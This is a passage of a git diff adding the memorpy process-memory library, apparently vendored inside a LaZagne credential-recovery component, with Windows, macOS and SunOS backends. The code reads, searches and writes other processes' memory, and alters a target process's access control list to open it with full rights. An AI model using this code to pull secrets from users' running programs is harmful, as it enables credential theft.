+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+import copy
+import time
+import struct
+
+from .Address import Address
+
+
+class Locator(object):
+ """
+ take a memoryworker and a type to search
+ then you can feed the locator with values and it will reduce the addresses possibilities
+ """
+
+ def __init__(self, mw, type = 'unknown', start = None, end = None):
+ self.mw = mw
+ self.type = type
+ self.last_iteration = {}
+ self.last_value = None
+ self.start = start
+ self.end = end
+
+ def find(self, value, erase_last = True):
+ return self.feed(value, erase_last)
+
+ def feed(self, value, erase_last = True):
+ self.last_value = value
+ new_iter = copy.copy(self.last_iteration)
+ if self.type == 'unknown':
+ all_types = ['uint',
+ 'int',
+ 'long',
+ 'ulong',
+ 'float',
+ 'double',
+ 'short',
+ 'ushort']
+ else:
+ all_types = [self.type]
+ for type in all_types:
+ if type not in new_iter:
+ try:
+ new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]
+ except struct.error:
+ new_iter[type] = []
+ else:
+ l = []
+ for address in new_iter[type]:
+ try:
+ found = self.mw.process.read(address, type)
+ if int(found) == int(value):
+ l.append(Address(address, self.mw.process, type))
+ except Exception as e:
+ pass
+
+ new_iter[type] = l
+
+ if erase_last:
+ del self.last_iteration
+ self.last_iteration = new_iter
+ return new_iter
+
+ def get_addresses(self):
+ return self.last_iteration
+
+ def diff(self, erase_last = False):
+ return self.get_modified_addr(erase_last)
+
+ def get_modified_addr(self, erase_last = False):
+ last = self.last_iteration
+ new = self.feed(self.last_value, erase_last=erase_last)
+ ret = {}
+ for type, l in last.iteritems():
+ typeset = set(new[type])
+ for addr in l:
+ if addr not in typeset:
+ if type not in ret:
+ ret[type] = []
+ ret[type].append(addr)
+
+ return ret
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py
new file mode 100644
index 0000000..4a971bb
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py
@@ -0,0 +1,226 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+import sys
+import string
+import re
+import logging
+import traceback
+import binascii
+import struct
+
+from .Process import *
+from .utils import *
+from .Address import Address
+from .BaseProcess import ProcessException
+from .structures import *
+
+logger = logging.getLogger('memorpy')
+
+REGEX_TYPE=type(re.compile("^plop$"))
+class MemWorker(object):
+
+ def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True):
+ self.process = Process(name=name, pid=pid, debug=debug)
+
+ def __enter__(self):
+ return self
+
+ def __exit__(self, type, value, traceback):
+ self.process.close()
+
+ def Address(self, value, default_type = 'uint'):
+ """ wrapper to instanciate an Address class for the memworker.process"""
+ return Address(value, process=self.process, default_type=default_type)
+
+ def umem_replace(self, regex, replace):
+ """ like search_replace_mem but works with unicode strings """
+ regex = re_to_unicode(regex)
+ replace = replace.encode('utf-16-le')
+ return self.mem_replace(re.compile(regex, re.UNICODE), replace)
+
+ def mem_replace(self, regex, replace):
+ """ search memory for a pattern and replace all found occurrences """
+ allWritesSucceed = True
+ for _, start_offset in self.mem_search(regex, ftype='re'):
+ if self.process.write_bytes(start_offset, replace) == 1:
+ logger.debug('Write at offset %s succeeded !' % start_offset)
+ else:
+ allWritesSucceed = False
+ logger.debug('Write at offset %s failed !' % start_offset)
+
+ return allWritesSucceed
+
+ def umem_search(self, regex):
+ """ like mem_search but works with unicode strings """
+ regex = re_to_unicode(regex)
+ for _, i in self.mem_search(str(regex), ftype='re'):
+ yield i
+
+ def group_search(self, group, start_offset = None, end_offset = None):
+ regex = ''
+ for value, type in group:
+ if type == 'f' or type == 'float':
+ f = struct.pack('<f', float(value))
+ regex += '..' + f[2:4]
+ else:
+ raise NotImplementedError('unknown type %s' % type)
+
+ return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset)
+
+ def search_address(self, addr):
+ a = '%08X' % addr
+ logger.debug('searching address %s' % a)
+ regex = ''
+ for i in range(len(a) - 2, -1, -2):
+ regex += binascii.unhexlify(a[i:i + 2])
+
+ for _, a in self.mem_search(re.escape(regex), ftype='re'):
+ yield a
+
+ def parse_re_function(self, b, value, offset):
+ for name, regex in value:
+ for res in regex.finditer(b):
+ yield name, self.Address(offset+res.start(), 'bytes')
+ """
+ index = b.find(res)
+ while index != -1:
+ soffset = offset + index
+ if soffset not in duplicates_cache:
+ duplicates_cache.add(soffset)
+ yield name, self.Address(soffset, 'bytes')
+ index = b.find(res, index + len(res))
+ """
+
+ def parse_float_function(self, b, value, offset):
+ for index in range(0, len(b)):
+ try:
+ structtype, structlen = type_unpack('float')
+ tmpval = struct.unpack(structtype, b[index:index + 4])[0]
+ if int(value) == int(tmpval):
+ soffset = offset + index
+ yield self.Address(soffset, 'float')
+ except Exception as e:
+ pass
+
+ def parse_named_groups_function(self, b, value, offset=None):
+ for name, regex in value:
+ for res in regex.finditer(b):
+ yield name, res.groupdict()
+
+ def parse_groups_function(self, b, value, offset=None):
+ for name, regex in value:
+ for res in regex.finditer(b):
+ yield name, res.groups()
+
+ def parse_any_function(self, b, value, offset):
+ index = b.find(value)
+ while index != -1:
+ soffset = offset + index
+ yield self.Address(soffset, 'bytes')
+ index = b.find(value, index + 1)
+
+ def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None):
+ """
+ iterator returning all indexes where the pattern has been found
+ """
+
+ # pre-compile regex to run faster
+ if ftype == 're' or ftype == 'groups' or ftype == 'ngroups':
+
+ # value should be an array of regex
+ if type(value) is not list:
+ value = [value]
+
+ tmp = []
+ for reg in value:
+ if type(reg) is tuple:
+ name = reg[0]
+ if type(reg[1]) != REGEX_TYPE:
+ regex = re.compile(reg[1], re.IGNORECASE)
+ else:
+ regex=reg[1]
+ elif type(reg) == REGEX_TYPE:
+ name = ''
+ regex=reg
+ else:
+ name = ''
+ regex = re.compile(reg, re.IGNORECASE)
+
+
+ tmp.append((name, regex))
+ value = tmp
+
+ elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda':
+ structtype, structlen = type_unpack(ftype)
+ value = struct.pack(structtype, value)
+
+ # different functions avoid if statement before parsing the buffer
+ if ftype == 're':
+ func = self.parse_re_function
+
+ elif ftype == 'groups':
+ func = self.parse_groups_function
+
+ elif ftype == 'ngroups':
+ func = self.parse_named_groups_function
+
+ elif ftype == 'float':
+ func = self.parse_float_function
+ elif ftype == 'lambda': # use a custm function
+ func = value
+ else:
+ func = self.parse_any_function
+
+ if not self.process.isProcessOpen:
+ raise ProcessException("Can't read_bytes, process %s is not open" % (self.process.pid))
+
+ for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations):
+ b = b''
+ current_offset = offset
+ chunk_read = 0
+ chunk_exc = False
+ while chunk_read < chunk_size:
+ try:
+ b += self.process.read_bytes(current_offset, chunk_size)
+ except IOError as e:
+ print(traceback.format_exc())
+ if e.errno == 13:
+ raise
+ else:
+ logger.warning(e)
+ chunk_exc=True
+ break
+ except Exception as e:
+ print('coucou')
+ logger.warning(e)
+ chunk_exc = True
+ break
+ finally:
+ current_offset += chunk_size
+ chunk_read += chunk_size
+
+ if chunk_exc:
+ continue
+
+ if b:
+ if ftype=="lambda":
+ for res in func(b.decode('latin'), offset):
+ yield res
+ else:
+ for res in func(b.decode('latin'), value, offset):
+ yield res
+
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py
new file mode 100644
index 0000000..bd702cd
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py
@@ -0,0 +1,174 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+import copy
+import struct
+import utils
+import platform
+import ctypes, re, sys
+import ctypes.util
+import errno
+import os
+import signal
+from .BaseProcess import BaseProcess, ProcessException
+from .structures import *
+import logging
+import subprocess
+
+logger = logging.getLogger('memorpy')
+
+libc = ctypes.CDLL(ctypes.util.find_library('c'))
+
+VM_REGION_BASIC_INFO_64 = 9
+
+class vm_region_basic_info_64(ctypes.Structure):
+ _fields_ = [
+ ('protection', ctypes.c_uint32),
+ ('max_protection', ctypes.c_uint32),
+ ('inheritance', ctypes.c_uint32),
+ ('shared', ctypes.c_uint32),
+ ('reserved', ctypes.c_uint32),
+ ('offset', ctypes.c_ulonglong),
+ ('behavior', ctypes.c_uint32),
+ ('user_wired_count',ctypes.c_ushort),
+]
+
+VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4
+
+VM_PROT_READ = 1
+VM_PROT_WRITE = 2
+VM_PROT_EXECUTE = 4
+
+class OSXProcess(BaseProcess):
+ def __init__(self, pid=None, name=None, debug=True):
+ """ Create and Open a process object from its pid or from its name """
+ super(OSXProcess, self).__init__()
+ if pid is not None:
+ self.pid=pid
+ elif name is not None:
+ self.pid=OSXProcess.pid_from_name(name)
+ else:
+ raise ValueError("You need to instanciate process with at least a name or a pid")
+ self.task=None
+ self.mytask=None
+ self._open()
+
+ def close(self):
+ pass
+
+ def __del__(self):
+ pass
+
+ def _open(self):
+ self.isProcessOpen = True
+ self.task = ctypes.c_uint32()
+ self.mytask=libc.mach_task_self()
+ ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task))
+ if ret!=0:
+ raise ProcessException("task_for_pid failed with error code : %s"%ret)
+
+ @staticmethod
+ def list():
+ #TODO list processes with ctypes
+ processes=[]
+ res=subprocess.check_output("ps A", shell=True)
+ for line in res.split('\n'):
+ try:
+ tab=line.split()
+ pid=int(tab[0])
+ exe=' '.join(tab[4:])
+ processes.append({"pid":int(pid), "name":exe})
+ except:
+ pass
+ return processes
+
+ @staticmethod
+ def pid_from_name(name):
+ for dic in OSXProcess.list():
+ if name in dic['exe']:
+ return dic['pid']
+
+
+ def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
+ """
+ optimizations :
+ i for inode==0 (no file mapping)
+ s to avoid scanning shared regions
+ x to avoid scanning x regions
+ r don't scan ronly regions
+ """
+ maps = []
+ address = ctypes.c_ulong(0)
+ mapsize = ctypes.c_ulong(0)
+ name = ctypes.c_uint32(0)
+ count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64)
+ info = vm_region_basic_info_64()
+
+ while True:
+ r = libc.mach_vm_region(self.task, ctypes.pointer(address),
+ ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64,
+ ctypes.pointer(info), ctypes.pointer(count),
+ ctypes.pointer(name))
+ # If we get told "invalid address", we have crossed into kernel land...
+ if r == 1:
+ break
+
+ if r != 0:
+ raise ProcessException('mach_vm_region failed with error code %s' % r)
+ if start_offset is not None:
+ if address.value < start_offset:
+ address.value += mapsize.value
+ continue
+ if end_offset is not None:
+ if address.value > end_offset:
+ break
+ p = info.protection
+ if p & VM_PROT_EXECUTE:
+ if optimizations and 'x' in optimizations:
+ address.value += mapsize.value
+ continue
+ if info.shared:
+ if optimizations and 's' in optimizations:
+ address.value += mapsize.value
+ continue
+ if p & VM_PROT_READ:
+ if not (p & VM_PROT_WRITE):
+ if optimizations and 'r' in optimizations:
+ address.value += mapsize.value
+ continue
+ yield address.value, mapsize.value
+
+ address.value += mapsize.value
+
+
+ def write_bytes(self, address, data):
+ raise NotImplementedError("write not implemented on OSX")
+ return True
+
+ def read_bytes(self, address, bytes = 4):
+ pdata = ctypes.c_void_p(0)
+ data_cnt = ctypes.c_uint32(0)
+
+ ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt));
+ #if ret==1:
+ # return ""
+ if ret!=0:
+ raise ProcessException("mach_vm_read returned : %s"%ret)
+ buf=ctypes.string_at(pdata.value, data_cnt.value)
+ libc.vm_deallocate(self.mytask, pdata, data_cnt)
+ return buf
+
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Process.py b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py
new file mode 100644
index 0000000..b586cd8
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+
+import sys
+from .BaseProcess import *
+if sys.platform=='win32':
+ from .WinProcess import WinProcess as Process
+elif sys.platform=='darwin':
+ from .OSXProcess import OSXProcess as Process
+elif 'sunos' in sys.platform:
+ from .SunProcess import SunProcess as Process
+else:
+ from .LinProcess import LinProcess as Process
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py
new file mode 100644
index 0000000..831c7f6
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py
@@ -0,0 +1,167 @@
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+from .BaseProcess import BaseProcess, ProcessException
+import struct
+import os
+
+MA_READ = 0x04
+MA_WRITE = 0x02
+MA_EXEC = 0x01
+MA_SHARED = 0x08
+MA_ANON = 0x40
+MA_ISM = 0x80
+MA_NORESERVE = 0x100
+MA_SHM = 0x200
+MA_RESERVED1 = 0x400
+MA_OSM = 0x800
+
+PSINFO_T = struct.Struct(
+ 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII'
+)
+
+MAP_T = struct.Struct(
+ 'LL64sQiiii'
+)
+
+class SunProcess(BaseProcess):
+ def __init__(self, pid=None, name=None, debug=True, ptrace=None):
+ ''' Create and Open a process object from its pid or from its name '''
+ super(SunProcess, self).__init__()
+ self.pid = int(pid)
+ self.pas = None
+ self.writable = False
+ if name and not self.pid:
+ self.pid = SunProcess.pid_from_name(name)
+ if not name and not self.pid:
+ raise ValueError('You need to instanciate process with at least a name or a pid')
+ try:
+ self._open()
+ except:
+ pass
+
+ def close(self):
+ if self.pas:
+ self.pas.close()
+
+ def __del__(self):
+ self.close()
+
+ def _open(self):
+ try:
+ self.pas = open('/proc/%d/as'%(self.pid), 'w+')
+ self.writable = True
+ except IOError:
+ self.pas = open('/proc/%d/as'%(self.pid))
+
+ self.isProcessOpen = True
+
+ @staticmethod
+ def _name_args(pid):
+ with open('/proc/%d/psinfo'%(int(pid))) as psinfo:
+ items = PSINFO_T.unpack_from(psinfo.read())
+ return items[23].rstrip('\x00'), items[24].rstrip('\x00')
+
+ @staticmethod
+ def list():
+ processes=[]
+ for pid in os.listdir('/proc'):
+ try:
+ pid = int(pid)
+ name, _ = SunProcess._name_args(pid)
+ processes.append({
+ 'pid': pid,
+ 'name': name
+ })
+ except:
+ pass
+
+ return processes
+
+ @staticmethod
+ def pid_from_name(name):
+ processes=[]
+ for pid in os.listdir('/proc'):
+ try:
+ pid = int(pid)
+ pname, cmdline = SunProcess._name_args(pid)
+ if name in pname:
+ return pid
+ if name in cmdline.split(' ', 1)[0]:
+ return pid
+ except:
+ pass
+
+ raise ProcessException('No process with such name: %s'%name)
+
+ def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
+ """
+ optimizations :
+ i for inode==0 (no file mapping)
+ s to avoid scanning shared regions
+ x to avoid scanning x regions
+ r don't scan ronly regions
+ """
+ if not self.isProcessOpen:
+ return
+
+ with open('/proc/%d/map'%(self.pid)) as maps_file:
+ while True:
+ mapping = maps_file.read(MAP_T.size)
+
+ if not mapping:
+ break
+
+ start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping)
+
+ if start_offset is not None:
+ if start < start_offset:
+ continue
+
+ if end_offset is not None:
+ if start > end_offset:
+ continue
+
+ if not flags & MA_READ:
+ continue
+
+ if optimizations:
+ if 'i' in optimizations and not flags & MA_ANON:
+ continue
+ if 's' in optimizations and flags & MA_SHM:
+ continue
+ # in sunos it's quite common when this flag is set, so let's use other letter
+ if 'X' in optimizations and flags & MA_EXEC:
+ continue
+ if 'r' in optimizations and not flags & MA_WRITE:
+ continue
+
+ yield start, size
+
+ def write_bytes(self, address, data):
+ if not self.pas or not self.writable:
+ return False
+
+ self.pas.seek(address)
+ self.pas.write(data)
+
+ return True
+
+ def read_bytes(self, address, bytes = 4):
+ if not self.pas:
+ return
+
+ self.pas.seek(address)
+ return self.pas.read(bytes)
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py
new file mode 100644
index 0000000..18c7054
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py
@@ -0,0 +1,312 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError
+from .structures import *
+import copy
+import struct
+# import utils
+import platform
+from .BaseProcess import BaseProcess, ProcessException
+
+psapi = windll.psapi
+kernel32 = windll.kernel32
+advapi32 = windll.advapi32
+
+IsWow64Process=None
+if hasattr(kernel32,'IsWow64Process'):
+ IsWow64Process=kernel32.IsWow64Process
+ IsWow64Process.restype = c_bool
+ IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]
+
+class WinProcess(BaseProcess):
+
+ def __init__(self, pid=None, name=None, debug=True):
+ """ Create and Open a process object from its pid or from its name """
+ super(WinProcess, self).__init__()
+ if pid:
+ self._open(int(pid), debug=debug)
+
+ elif name:
+ self._open_from_name(name, debug=debug)
+ else:
+ raise ValueError("You need to instanciate process with at least a name or a pid")
+
+ if self.is_64bit():
+ si = self.GetNativeSystemInfo()
+ self.max_addr = si.lpMaximumApplicationAddress
+ else:
+ si = self.GetSystemInfo()
+ self.max_addr = 2147418111
+ self.min_addr = si.lpMinimumApplicationAddress
+
+
+ def __del__(self):
+ self.close()
+
+ def is_64bit(self):
+ if not "64" in platform.machine():
+ return False
+ iswow64 = c_bool(False)
+ if IsWow64Process is None:
+ return False
+ if not IsWow64Process(self.h_process, byref(iswow64)):
+ raise WinError()
+ return not iswow64.value
+
+ @staticmethod
+ def list():
+ processes=[]
+ arr = c_ulong * 256
+ lpidProcess= arr()
+ cb = sizeof(lpidProcess)
+ cbNeeded = c_ulong()
+ hModule = c_ulong()
+ count = c_ulong()
+ modname = create_string_buffer(100)
+ PROCESS_QUERY_INFORMATION = 0x0400
+ PROCESS_VM_READ = 0x0010
+
+ psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded))
+ nReturned = cbNeeded.value/sizeof(c_ulong())
+
+ pidProcess = [i for i in lpidProcess][:nReturned]
+ for pid in pidProcess:
+ proc={ "pid": int(pid) }
+ hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
+ if hProcess:
+ psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))
+ psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))
+ proc["name"]=modname.value
+ kernel32.CloseHandle(hProcess)
+ processes.append(proc)
+ return processes
+
+ @staticmethod
+ def processes_from_name(processName):
+ processes = []
+ for process in WinProcess.list():
+ if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName):
+ processes.append(process)
+
+ if len(processes) > 0:
+ return processes
+
+ @staticmethod
+ def name_from_process(dwProcessId):
+ process_list = WinProcess.list()
+ for process in process_list:
+ if process.pid == dwProcessId:
+ return process.get("name", None)
+
+ return False
+
+ def _open(self, dwProcessId, debug=False):
+ if debug:
+ ppsidOwner = DWORD()
+ ppsidGroup = DWORD()
+ ppDacl = DWORD()
+ ppSacl = DWORD()
+ ppSecurityDescriptor = SECURITY_DESCRIPTOR()
+
+ process = kernel32.OpenProcess(262144, 0, dwProcessId)
+ advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor))
+ advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group)
+ kernel32.CloseHandle(process)
+ self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId)
+ if self.h_process is not None:
+ self.isProcessOpen = True
+ self.pid = dwProcessId
+ return True
+ return False
+
+ def close(self):
+ if self.h_process is not None:
+ ret = kernel32.CloseHandle(self.h_process) == 1
+ if ret:
+ self.h_process = None
+ self.pid = None
+ self.isProcessOpen = False
+ return ret
+ return False
+
+ def _open_from_name(self, processName, debug=False):
+ processes = self.processes_from_name(processName)
+ if not processes:
+ raise ProcessException("can't get pid from name %s" % processName)
+ elif len(processes)>1:
+ raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName)
+ if debug:
+ self._open(processes[0]["pid"], debug=True)
+ else:
+ self._open(processes[0]["pid"], debug=False)
+
+ def GetSystemInfo(self):
+ si = SYSTEM_INFO()
+ kernel32.GetSystemInfo(byref(si))
+ return si
+
+ def GetNativeSystemInfo(self):
+ si = SYSTEM_INFO()
+ kernel32.GetNativeSystemInfo(byref(si))
+ return si
+
+ def VirtualQueryEx(self, lpAddress):
+ mbi = MEMORY_BASIC_INFORMATION()
+ if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
+ raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
+ return mbi
+
+ def VirtualQueryEx64(self, lpAddress):
+ mbi = MEMORY_BASIC_INFORMATION64()
+ if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
+ raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
+ return mbi
+
+ def VirtualProtectEx(self, base_address, size, protection):
+ old_protect = c_ulong(0)
+ if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):
+ raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))
+ return old_protect.value
+
+ def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
+
+ offset = start_offset or self.min_addr
+ end_offset = end_offset or self.max_addr
+
+ while True:
+ if offset >= end_offset:
+ break
+ mbi = self.VirtualQueryEx(offset)
+ offset = mbi.BaseAddress
+ chunk = mbi.RegionSize
+ protect = mbi.Protect
+ state = mbi.State
+ #print "offset: %s, chunk:%s"%(offset, chunk)
+ if state & MEM_FREE or state & MEM_RESERVE:
+ offset += chunk
+ continue
+ if protec:
+ if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD:
+ offset += chunk
+ continue
+ yield offset, chunk
+ offset += chunk
+
+ def write_bytes(self, address, data):
+ address = int(address)
+ if not self.isProcessOpen:
+ raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid))
+ buffer = create_string_buffer(data)
+ sizeWriten = c_size_t(0)
+ bufferSize = sizeof(buffer) - 1
+ _address = address
+ _length = bufferSize + 1
+ try:
+ old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)
+ except:
+ pass
+
+ res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))
+ try:
+ self.VirtualProtectEx(_address, _length, old_protect)
+ except:
+ pass
+
+ return res
+
+ def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False):
+ #print "reading %s bytes from addr %s"%(bytes, address)
+ if use_NtWow64ReadVirtualMemory64:
+ if NtWow64ReadVirtualMemory64 is None:
+ raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process")
+ RpM = NtWow64ReadVirtualMemory64
+ else:
+ RpM = ReadProcessMemory
+
+ address = int(address)
+ buffer = create_string_buffer(bytes)
+ bytesread = c_size_t(0)
+ data = b''
+ length = bytes
+ while length:
+ if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0):
+ if bytesread.value:
+ data += buffer.raw[:bytesread.value]
+ length -= bytesread.value
+ address += bytesread.value
+ if not len(data):
+ raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(),
+ address,
+ length,
+ bytesread.value))
+ return data
+ else:
+ if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it
+ data += buffer.raw[:bytesread.value]
+ return data
+ raise WinError()
+ # data += buffer.raw[:bytesread.value]
+ # length -= bytesread.value
+ # address += bytesread.value
+ return data
+
+
+ def list_modules(self):
+ module_list = []
+ if self.pid is not None:
+ hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid)
+ if hModuleSnap is not None:
+ module_entry = MODULEENTRY32()
+ module_entry.dwSize = sizeof(module_entry)
+ success = Module32First(hModuleSnap, byref(module_entry))
+ while success:
+ if module_entry.th32ProcessID == self.pid:
+ module_list.append(copy.copy(module_entry))
+ success = Module32Next(hModuleSnap, byref(module_entry))
+
+ kernel32.CloseHandle(hModuleSnap)
+ return module_list
+
+ def get_symbolic_name(self, address):
+ for m in self.list_modules():
+ if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize):
+ return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr)
+
+ return '0x%08X' % int(address)
+
+ def hasModule(self, module):
+ if module[-4:] != '.dll':
+ module += '.dll'
+ module_list = self.list_modules()
+ for m in module_list:
+ if module in m.szExePath.split('\\'):
+ return True
+ return False
+
+
+ def get_instruction(self, address):
+ """
+ Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.
+ """
+ import pydasm
+ try:
+ data = self.read_bytes(int(address), 32)
+ except:
+ return 'Unable to disassemble at %08x' % address
+
+ return pydasm.get_instruction(data, pydasm.MODE_32)
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py
new file mode 100644
index 0000000..ac49d36
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py
@@ -0,0 +1,190 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong
+from ctypes.wintypes import *
+
+if sizeof(c_void_p) == 8:
+ ULONG_PTR = c_ulonglong
+else:
+ ULONG_PTR = c_ulong
+
+
+class SECURITY_DESCRIPTOR(Structure):
+ _fields_ = [
+ ('SID', DWORD),
+ ('group', DWORD),
+ ('dacl', DWORD),
+ ('sacl', DWORD),
+ ('test', DWORD)
+ ]
+PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)
+
+class MEMORY_BASIC_INFORMATION(Structure):
+ _fields_ = [('BaseAddress', c_void_p),
+ ('AllocationBase', c_void_p),
+ ('AllocationProtect', DWORD),
+ ('RegionSize', c_size_t),
+ ('State', DWORD),
+ ('Protect', DWORD),
+ ('Type', DWORD)]
+
+# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx
+class MEMORY_BASIC_INFORMATION64(Structure):
+ _fields_ = [('BaseAddress', c_ulonglong),
+ ('AllocationBase', c_ulonglong),
